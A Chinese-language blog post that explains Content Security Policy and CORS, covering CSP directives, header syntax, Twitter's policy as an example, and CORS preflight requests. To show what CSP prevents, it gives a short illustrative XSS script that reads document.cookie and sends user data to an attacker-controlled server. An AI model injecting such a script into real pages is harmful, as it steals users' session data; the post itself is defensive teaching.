Content Security Policy(CSP) 和 Cross-Origin Resource Sharing (CORS)
1 Content Security Policy
上周在工作中遇到了这样一个问题,在一个网页前端中,使用 Javascript
代码访问一个本地的服务,然后抛出了这样一个错误。
Refuse to connect to 'https://localhost:9780/dauthsvc/sign' because it violates the following Content Security Policy directive: "connect-src 'self' api.localhost ....
原本以为是服务端的错误,在 Google
之后才知道,这原来是 W3C 一个标准协议。那么究竟是怎么一回事呢?
我们都知道我们的网站会被会被一些不法分子攻击,比如跨站脚本(Cros是Site Script, XSS),比如说攻击者将一个脚本发送给其他人,由于同源策略,浏览器在执行这些脚本的时候,就能访问到被攻击者的敏感信息,然后将这些信息发送给攻击者。比如说
<script>let cookie = document.cookie;let userName = getUsername("https://www.binddate.com", cookie);sendUserNameToMyServer("https://www.myserver.com", userName);</script>
那么 Content Security Policy 是如何处理这个问题的呢?最直接的方法就是告诉浏览器不要执行访问 https://www.myserver.com
服务的操作,只有在白名单的中服务才能被访问。
Content Security Policy
可以采用两种方式完成
- 在请求返回的
Header
中添加一个Content-Security-Policy
的 header
比如在 GitHub
页面的响应中,包含 content-security-policy
这样的 header
2. 第二种是在响应的页面中,为 head
元素增加一个 meta
记录
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
既然知道 Content-Security-Policy
的功能,那么如何自定义一个 Content-Security-Policy
呢?
Content-Security-Policy
的语法如下
Content-Security-Policy: <policy-directive>; <policy-directive>
每个 <policy-directive>
由两个部分组成,分别是 <directive> <value>
,比较常见的 directive
有
- default-src: 当所有的其他规则都没有匹配上,才会进行
default-src
匹配计算 - script-src: 所有 Javascript 脚本访问的服务的白名单
- style-src: 所有
CSS
样式访问的服务资源 - report-uri: 当如果有非白名单的资源访问的时候,向这个服务汇报情况
响应的 value
主要也有这些
- none: 表示不允许访问任何外部资源
- self: 可以访问 origin 下的资源
- host: 具体的一个外部资源的地址,比如
example.com
,https://*.example.com:12/path/to/file.js
最后我们看一个例子,以 twitter
举例
content-security-policy:connect-src 'self' blob: https://*.giphy.com https://*.pscp.tv https://*.video.pscp.tv https://*.twimg.com https://api.twitter.com https://api-stream.twitter.com https://ads-api.twitter.com https://aa.twitter.com https://caps.twitter.com https://media.riffsy.com https://pay.twitter.com https://sentry.io https://ton.twitter.com https://twitter.com https://upload.twitter.com https://www.google-analytics.com https://app.link https://api2.branch.io https://bnc.lt wss://*.pscp.tv https://vmap.snappytv.com https://vmapstage.snappytv.com https://vmaprel.snappytv.com https://vmap.grabyo.com https://dhdsnappytv-vh.akamaihd.net https://pdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://dwo3ckksxlb0v.cloudfront.net ; default-src 'self'; form-action 'self' https://twitter.com https://*.twitter.com; font-src 'self' https://*.twimg.com; frame-src 'self' https://twitter.com https://mobile.twitter.com https://pay.twitter.com https://cards-frame.twitter.com https://accounts.google.com/; img-src 'self' blob: data: https://*.cdn.twitter.com https://ton.twitter.com https://*.twimg.com https://analytics.twitter.com https://cm.g.doubleclick.net https://www.google-analytics.com https://www.periscope.tv https://www.pscp.tv https://media.riffsy.com https://*.giphy.com https://*.pscp.tv https://*.periscope.tv https://prod-periscope-profile.s3-us-west-2.amazonaws.com https://platform-lookaside.fbsbx.com https://scontent.xx.fbcdn.net https://scontent-sea1-1.xx.fbcdn.net https://*.googleusercontent.com; manifest-src 'self'; media-src 'self' blob: https://twitter.com https://*.twimg.com https://*.vine.co https://*.pscp.tv https://*.video.pscp.tv https://*.giphy.com https://media.riffsy.com https://dhdsnappytv-vh.akamaihd.net https://pdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://dwo3ckksxlb0v.cloudfront.net; object-src 'none'; script-src 'self' 'unsafe-inline' https://*.twimg.com https://www.google-analytics.com https://twitter.com https://app.link https://apis.google.com/js/platform.js https://appleid.cdn-apple.com/appleauth/static/jsapi/appleid/1/en_US/appleid.auth.js 'nonce-ZWM0Y2NkOTUtNzc5YS00YWNjLTgyNGItOGQ1M2JiZjJkNTM2'; style-src 'self' 'unsafe-inline' https://*.twimg.com; worker-src 'self' blob:; report-uri https://twitter.com/i/csp_report?a=O5RXE%3D%3D%3D&ro=false
2. Cross-Origin Resource Sharing
通过 CSP, 浏览器可以在调用端限制可以访问那些资源,而 Cross-Origin Resource Sharing (CORS) 可以从资源服务端限制那些调用方可以访问资源。假设在前端的代码运行在 https://domain-a.com
的服务上,通过 XMLHttpRequest
来访问 https://domain-b.com/data.json
这个资源。一般来讲浏览器会阻止这次请求的结果,因为从安全的角度来看,这是属于 Cross-Domain。
如何避免这个问题呢?需要在资源服务端在返回结果的时候,Header 需要添加 Access-Control-Allow-Origin
这个字段,它表明这个资源可以被哪些 origin
访问。
一个简单的请求是这样的:
在这里 *
表示该资源可以被任何 cross-origin
的请求访问。
通常浏览器会发出一个 Preflighted
request,该请求会发出 OPTIONS
这个方法,一般服务端的相应会包含 Access-Control-Allow-Origin
和 Access-Control-Allow-Methods
两个 header 字段。如果满足要求,才会发送真正的请求。
References